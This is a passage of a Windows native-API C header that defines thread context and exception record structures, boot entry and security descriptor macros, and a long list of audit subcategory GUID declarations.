specified/returned if CONTEXT_DEBUG_REGISTERS is // set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT // included in CONTEXT_FULL. // DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; // // This section is specified/returned if the // ContextFlags word contains the flag CONTEXT_FLOATING_POINT. // FLOATING_SAVE_AREA FloatSave; // // This section is specified/returned if the // ContextFlags word contains the flag CONTEXT_SEGMENTS. // DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; // // This section is specified/returned if the // ContextFlags word contains the flag CONTEXT_INTEGER. // DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; // // This section is specified/returned if the // ContextFlags word contains the flag CONTEXT_CONTROL. // DWORD Ebp; DWORD Eip; DWORD SegCs; // MUST BE SANITIZED DWORD EFlags; // MUST BE SANITIZED DWORD Esp; DWORD SegSs; // // This section is specified/returned if the ContextFlags word // contains the flag CONTEXT_EXTENDED_REGISTERS. // The format and contexts are processor specific // BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT, *PCONTEXT; typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; // NTSTATUS code of the exception. DWORD ExceptionFlags; // need more information struct _EXCEPTION_RECORD *ExceptionRecord; // pointer to an extra record PVOID ExceptionAddress; // address of the exception happen DWORD NumberParameters; // more information needed ... ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD, *PEXCEPTION_RECORD; // // Values put in ExceptionRecord.ExceptionInformation[0] // First parameter is always in ExceptionInformation[1], // Second parameter is always in ExceptionInformation[2] // typedef struct _EXCEPTION_RECORD32 { DWORD ExceptionCode; DWORD ExceptionFlags; DWORD ExceptionRecord; DWORD ExceptionAddress; DWORD NumberParameters; DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD32, *PEXCEPTION_RECORD32; typedef struct _EXCEPTION_RECORD64 { DWORD ExceptionCode; DWORD ExceptionFlags; DWORD64 ExceptionRecord; DWORD64 ExceptionAddress; DWORD NumberParameters; DWORD __unusedAlignment; DWORD64 ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD64, *PEXCEPTION_RECORD64; // // Typedef for pointer returned by exception_info() // typedef struct _EXCEPTION_POINTERS { PEXCEPTION_RECORD ExceptionRecord; PCONTEXT ContextRecord; } EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; #endif typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( IN PWSTR ValueName, IN ULONG ValueType, IN PVOID ValueData, IN ULONG ValueLength, IN PVOID Context, IN PVOID EntryContext ); typedef struct _RTL_QUERY_REGISTRY_TABLE { PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; ULONG Flags; PWSTR Name; PVOID EntryContext; ULONG DefaultType; PVOID DefaultData; ULONG DefaultLength; } RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; #define EXCEPTION_CHAIN_END ((struct _EXCEPTION_REGISTRATION_RECORD * POINTER_32)-1) #define MAJOR_VERSION 30 #define MINOR_VERSION 00 #define OS2_VERSION (MAJOR_VERSION << 8 | MINOR_VERSION ) #ifdef DBG #define DBG_TEB_THREADNAME 16 #define DBG_TEB_RESERVED_1 15 #define DBG_TEB_RESERVED_2 14 #define DBG_TEB_RESERVED_3 13 #define DBG_TEB_RESERVED_4 12 #define DBG_TEB_RESERVED_5 11 #define DBG_TEB_RESERVED_6 10 #define DBG_TEB_RESERVED_7 9 #define DBG_TEB_RESERVED_8 8 #endif // DBG #define PROCESS_PRIORITY_CLASS_UNKNOWN 0 #define PROCESS_PRIORITY_CLASS_IDLE 1 #define PROCESS_PRIORITY_CLASS_NORMAL 2 #define PROCESS_PRIORITY_CLASS_HIGH 3 #define PROCESS_PRIORITY_CLASS_REALTIME 4 #define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 #define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 typedef struct _PROCESS_PRIORITY_CLASS { BOOLEAN Foreground; UCHAR PriorityClass; } PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS; typedef struct _PROCESS_FOREGROUND_BACKGROUND { BOOLEAN Foreground; } PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND; typedef struct _FILE_PATH { ULONG Version; ULONG Length; ULONG Type; UCHAR FilePath[ANYSIZE_ARRAY]; } FILE_PATH, *PFILE_PATH; #define FILE_PATH_VERSION 1 #define FILE_PATH_TYPE_ARC 1 #define FILE_PATH_TYPE_ARC_SIGNATURE 2 #define FILE_PATH_TYPE_NT 3 #define FILE_PATH_TYPE_EFI 4 #define FILE_PATH_TYPE_MIN FILE_PATH_TYPE_ARC #define FILE_PATH_TYPE_MAX FILE_PATH_TYPE_EFI typedef struct _WINDOWS_OS_OPTIONS { UCHAR Signature[8]; ULONG Version; ULONG Length; ULONG OsLoadPathOffset; WCHAR OsLoadOptions[ANYSIZE_ARRAY]; //FILE_PATH OsLoadPath; } WINDOWS_OS_OPTIONS, *PWINDOWS_OS_OPTIONS; #define WINDOWS_OS_OPTIONS_SIGNATURE "WINDOWS" #define WINDOWS_OS_OPTIONS_VERSION 1 typedef struct _BOOT_ENTRY { ULONG Version; ULONG Length; ULONG Id; ULONG Attributes; ULONG FriendlyNameOffset; ULONG BootFilePathOffset; ULONG OsOptionsLength; UCHAR OsOptions[ANYSIZE_ARRAY]; //WCHAR FriendlyName[ANYSIZE_ARRAY]; //FILE_PATH BootFilePath; } BOOT_ENTRY, *PBOOT_ENTRY; typedef struct _BOOT_OPTIONS { ULONG Version; ULONG Length; ULONG Timeout; ULONG CurrentBootEntryId; ULONG NextBootEntryId; WCHAR HeadlessRedirection[ANYSIZE_ARRAY]; } BOOT_OPTIONS, *PBOOT_OPTIONS; // // Security APIs. // typedef struct _USER_SID { SID_IDENTIFIER_AUTHORITY sidAuthority; ULONG UserGroupId; ULONG UserId; } USER_SID, *PUSER_SID; typedef struct _USER_PERMISSION { USER_SID UserSid; // identifies the user for whom you want to grant permissions to ULONG dwAccessType; // currently, this is either ACCESS_ALLOWED_ACE_TYPE or ACCESS_DENIED_ACE_TYPE BOOL bInherit; // the permissions inheritable? (eg a directory or reg key and you want new children to inherit this permission) ULONG dwAccessMask; // access granted (eg FILE_LIST_CONTENTS or KEY_ALL_ACCESS, etc...) ULONG dwInheritMask; // mask used for inheritance, usually (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE) ULONG dwInheritAccessMask; // the inheritable access granted (eg GENERIC_ALL) } USER_PERMISSION, *PUSER_PERMISSION; #define LongAlignPtr(Ptr) ((PVOID)(((ULONG_PTR)(Ptr) + 3) & -4)) #define LongAlignSize(Size) (((ULONG)(Size) + 3) & -4) // // Macros for calculating the address of the components of a security // descriptor. This will calculate the address of the field regardless // of whether the security descriptor is absolute or self-relative form. // A null value indicates the specified field is not present in the // security descriptor. // #define RtlpOwnerAddrSecurityDescriptor( SD ) \ ( ((SD)->Control & SE_SELF_RELATIVE) ? \ ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner == 0) ? ((PSID) NULL) : \ (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner) \ ) : \ (PSID)((SD)->Owner) \ ) #define RtlpGroupAddrSecurityDescriptor( SD ) \ ( ((SD)->Control & SE_SELF_RELATIVE) ? \ ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group == 0) ? ((PSID) NULL) : \ (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group) \ ) : \ (PSID)((SD)->Group) \ ) #define RtlpSaclAddrSecurityDescriptor( SD ) \ ( (!((SD)->Control & SE_SACL_PRESENT) ) ? \ (PACL)NULL : \ ( ((SD)->Control & SE_SELF_RELATIVE) ? \ ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl == 0) ? ((PACL) NULL) : \ (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl) \ ) : \ (PACL)((SD)->Sacl) \ ) \ ) #define RtlpDaclAddrSecurityDescriptor( SD ) \ ( (!((SD)->Control & SE_DACL_PRESENT) ) ? \ (PACL)NULL : \ ( ((SD)->Control & SE_SELF_RELATIVE) ? \ ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl == 0) ? ((PACL) NULL) : \ (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl) \ ) : \ (PACL)((SD)->Dacl) \ ) \ ) // // Macro to determine if the given ID has the owner attribute set, // which means that it may be assignable as an owner // The GroupSid should not be marked for UseForDenyOnly. // #define RtlpIdAssignableAsOwner( G ) \ ( (((G).Attributes & SE_GROUP_OWNER) != 0) && \ (((G).Attributes & SE_GROUP_USE_FOR_DENY_ONLY) == 0) ) // // Macro to copy the state of the passed bits from the old security // descriptor (OldSD) into the Control field of the new one (NewSD) // #define RtlpPropagateControlBits( NewSD, OldSD, Bits ) \ ( NewSD )->Control |= \ ( \ ( OldSD )->Control & ( Bits ) \ ) // // Macro to query whether or not the passed set of bits are ALL on // or not (ie, returns FALSE if some are on and not others) // #define RtlpAreControlBitsSet( SD, Bits ) \ (BOOLEAN) \ ( \ (( SD )->Control & ( Bits )) == ( Bits ) \ ) // // Macro to set the passed control bits in the given Security Descriptor // #define RtlpSetControlBits( SD, Bits ) \ ( \ ( SD )->Control |= ( Bits ) \ ) // // Macro to clear the passed control bits in the given Security Descriptor // #define RtlpClearControlBits( SD, Bits ) \ ( \ ( SD )->Control &= ~( Bits ) \ ) // // Local Security Authority APIs. // #ifdef DEFINE_GUID /* 0cce9210-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_SecurityStateChange_defined) DEFINE_GUID( Audit_System_SecurityStateChange, 0x0cce9210, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_SecurityStateChange_defined #endif #endif /* 0cce9211-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_SecuritySubsystemExtension_defined) DEFINE_GUID( Audit_System_SecuritySubsystemExtension, 0x0cce9211, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_SecuritySubsystemExtension_defined #endif #endif /* 0cce9212-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_Integrity_defined) DEFINE_GUID( Audit_System_Integrity, 0x0cce9212, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_Integrity_defined #endif #endif /* 0cce9213-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_IPSecDriverEvents_defined) DEFINE_GUID( Audit_System_IPSecDriverEvents, 0x0cce9213, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_IPSecDriverEvents_defined #endif #endif /* 0cce9214-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_Others_defined) DEFINE_GUID( Audit_System_Others, 0x0cce9214, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_Others_defined #endif #endif /* 0cce9215-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_Logon_defined) DEFINE_GUID( Audit_Logon_Logon, 0x0cce9215, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_Logon_defined #endif #endif /* 0cce9216-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_Logoff_defined) DEFINE_GUID( Audit_Logon_Logoff, 0x0cce9216, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_Logoff_defined #endif #endif /* 0cce9217-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_AccountLockout_defined) DEFINE_GUID( Audit_Logon_AccountLockout, 0x0cce9217, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_AccountLockout_defined #endif #endif /* 0cce9218-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_IPSecMainMode_defined) DEFINE_GUID( Audit_Logon_IPSecMainMode, 0x0cce9218, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_IPSecMainMode_defined #endif #endif /* 0cce9219-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_IPSecQuickMode_defined) DEFINE_GUID( Audit_Logon_IPSecQuickMode, 0x0cce9219, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_IPSecQuickMode_defined #endif #endif /* 0cce921a-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_IPSecUserMode_defined) DEFINE_GUID( Audit_Logon_IPSecUserMode, 0x0cce921a, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_IPSecUserMode_defined #endif #endif /* 0cce921b-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_SpecialLogon_defined) DEFINE_GUID( Audit_Logon_SpecialLogon, 0x0cce921b, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_SpecialLogon_defined #endif #endif /* 0cce921c-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_Others_defined) DEFINE_GUID( Audit_Logon_Others, 0x0cce921c, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_Others_defined #endif #endif /* 0cce921d-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_FileSystem_defined) DEFINE_GUID( Audit_ObjectAccess_FileSystem, 0x0cce921d, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_FileSystem_defined #endif #endif /* 0cce921e-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Registry_defined) DEFINE_GUID( Audit_ObjectAccess_Registry, 0x0cce921e, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Registry_defined #endif #endif /* 0cce921f-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Kernel_defined) DEFINE_GUID( Audit_ObjectAccess_Kernel, 0x0cce921f, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Kernel_defined #endif #endif /* 0cce9220-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Sam_defined) DEFINE_GUID( Audit_ObjectAccess_Sam, 0x0cce9220, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Sam_defined #endif #endif /* 0cce9221-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_CertificationServices_defined) DEFINE_GUID( Audit_ObjectAccess_CertificationServices, 0x0cce9221, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_CertificationServices_defined #endif #endif /* 0cce9222-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_ApplicationGenerated_defined) DEFINE_GUID( Audit_ObjectAccess_ApplicationGenerated, 0x0cce9222, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_ApplicationGenerated_defined #endif #endif /* The Audit_ObjectAccess_Handle sub-category behaves different from the other sub-categories. For handle based audits to be generated (Open handle AuditId: 0x1230, Close handle AuditId: 0x1232), the corresponding object sub-category AND Audit_ObjectAccess_Handle must be enabled. For eg, to generate handle based audits for Reg keys, both Audit_ObjectAccess_Registry and Audit_ObjectAccess_Handle must be enabled */ /* 0cce9223-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Handle_defined) DEFINE_GUID( Audit_ObjectAccess_Handle, 0x0cce9223, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Handle_defined #endif #endif /* 0cce9224-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Share_defined) DEFINE_GUID( Audit_ObjectAccess_Share, 0x0cce9224, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Share_defined #endif #endif /* 0cce9225-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallPacketDrops_defined) DEFINE_GUID( Audit_ObjectAccess_FirewallPacketDrops, 0x0cce9225, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_FirewallPacketDrops_defined #endif #endif /* 0cce9226-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallConnection_defined) DEFINE_GUID( Audit_ObjectAccess_FirewallConnection, 0x0cce9226, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_FirewallConnection_defined #endif #endif /* 0cce9227-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Other_defined) DEFINE_GUID( Audit_ObjectAccess_Other, 0x0cce9227, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Other_defined #endif #endif /* 0cce9228-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Sensitive_defined) DEFINE_GUID( Audit_PrivilegeUse_Sensitive, 0x0cce9228, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PrivilegeUse_Sensitive_defined #endif #endif /* 0cce9229-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PrivilegeUse_NonSensitive_defined) DEFINE_GUID( Audit_PrivilegeUse_NonSensitive, 0x0cce9229, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PrivilegeUse_NonSensitive_defined #endif #endif /* 0cce922a-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Others_defined) DEFINE_GUID( Audit_PrivilegeUse_Others, 0x0cce922a, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PrivilegeUse_Others_defined #endif #endif /* 0cce922b-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessCreation_defined) DEFINE_GUID( Audit_DetailedTracking_ProcessCreation, 0x0cce922b, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_ProcessCreation_defined #endif #endif /* 0cce922c-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessTermination_defined) DEFINE_GUID( Audit_DetailedTracking_ProcessTermination, 0x0cce922c, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_ProcessTermination_defined #endif #endif /* 0cce922d-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_DpapiActivity_defined) DEFINE_GUID( Audit_DetailedTracking_DpapiActivity, 0x0cce922d, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_DpapiActivity_defined #endif #endif /* 0cce922e-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_RpcCall_defined) DEFINE_GUID( Audit_DetailedTracking_RpcCall, 0x0cce922e, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_RpcCall_defined #endif #endif /* 0cce922f-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_AuditPolicy_defined) DEFINE_GUID( Audit_PolicyChange_AuditPolicy, 0x0cce922f, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_AuditPolicy_defined #endif #endif /* 0cce9230-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthenticationPolicy_defined) DEFINE_GUID( Audit_PolicyChange_AuthenticationPolicy, 0x0cce9230, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_AuthenticationPolicy_defined #endif #endif /* 0cce9231-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthorizationPolicy_defined) DEFINE_GUID( Audit_PolicyChange_AuthorizationPolicy, 0x0cce9231, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_AuthorizationPolicy_defined #endif #endif /* 0cce9232-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_MpsscvRulePolicy_defined) DEFINE_GUID( Audit_PolicyChange_MpsscvRulePolicy, 0x0cce9232, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_MpsscvRulePolicy_defined #endif #endif /* 0cce9233-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_WfpIPSecPolicy_defined) DEFINE_GUID( Audit_PolicyChange_WfpIPSecPolicy, 0x0cce9233, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_WfpIPSecPolicy_defined #endif #endif /* 0cce9234-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_Others_defined) DEFINE_GUID( Audit_PolicyChange_Others, 0x0cce9234, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_Others_defined #endif #endif /* 0cce9235-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_UserAccount_defined) DEFINE_GUID( Audit_AccountManagement_UserAccount, 0x0cce9235, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_UserAccount_defined #endif #endif /* 0cce9236-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_ComputerAccount_defined) DEFINE_GUID( Audit_AccountManagement_ComputerAccount, 0x0cce9236, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_ComputerAccount_defined #endif #endif /* 0cce9237-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_SecurityGroup_defined) DEFINE_GUID( Audit_AccountManagement_SecurityGroup, 0x0cce9237, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_SecurityGroup_defined #endif #endif /* 0cce9238-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_DistributionGroup_defined) DEFINE_GUID( Audit_AccountManagement_DistributionGroup, 0x0cce9238, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_DistributionGroup_defined #endif #endif /* 0cce9239-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_ApplicationGroup_defined) DEFINE_GUID( Audit_AccountManagement_ApplicationGroup, 0x0cce9239, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_ApplicationGroup_defined #endif #endif /* 0cce923a-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_Others_defined) DEFINE_GUID( Audit_AccountManagement_Others, 0x0cce923a, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_Others_defined #endif #endif /* 0cce923b-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DSAccess_DSAccess_defined) DEFINE_GUID( Audit_DSAccess_DSAccess, 0x0cce923b, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DSAccess_DSAccess_defined #endif #endif /* 0cce923c-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DsAccess_AdAuditChanges_defined) DEFINE_GUID( Audit_DsAccess_AdAuditChanges, 0x0cce923c, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DsAccess_AdAuditChanges_defined #endif #endif /* 0cce923d-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Ds_Replication_defined) DEFINE_GUID( Audit_Ds_Replication, 0x0cce923d, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Ds_Replication_defined #endif #endif /* 0cce923e-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Ds_DetailedReplication_defined) DEFINE_GUID( Audit_Ds_DetailedReplication, 0x0cce923e, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Ds_DetailedReplication_defined #endif #endif /* 0cce923f-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_CredentialValidation_defined) DEFINE_GUID( Audit_AccountLogon_CredentialValidation, 0x0cce923f, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountLogon_CredentialValidation_defined #endif #endif /* 0cce9240-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_Kerberos_defined) DEFINE_GUID( Audit_AccountLogon_Kerberos, 0x0cce9240, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountLogon_Kerberos_defined #endif #endif /* 0cce9241-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_Others_defined) DEFINE_GUID( Audit_AccountLogon_Others, 0x0cce9241, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 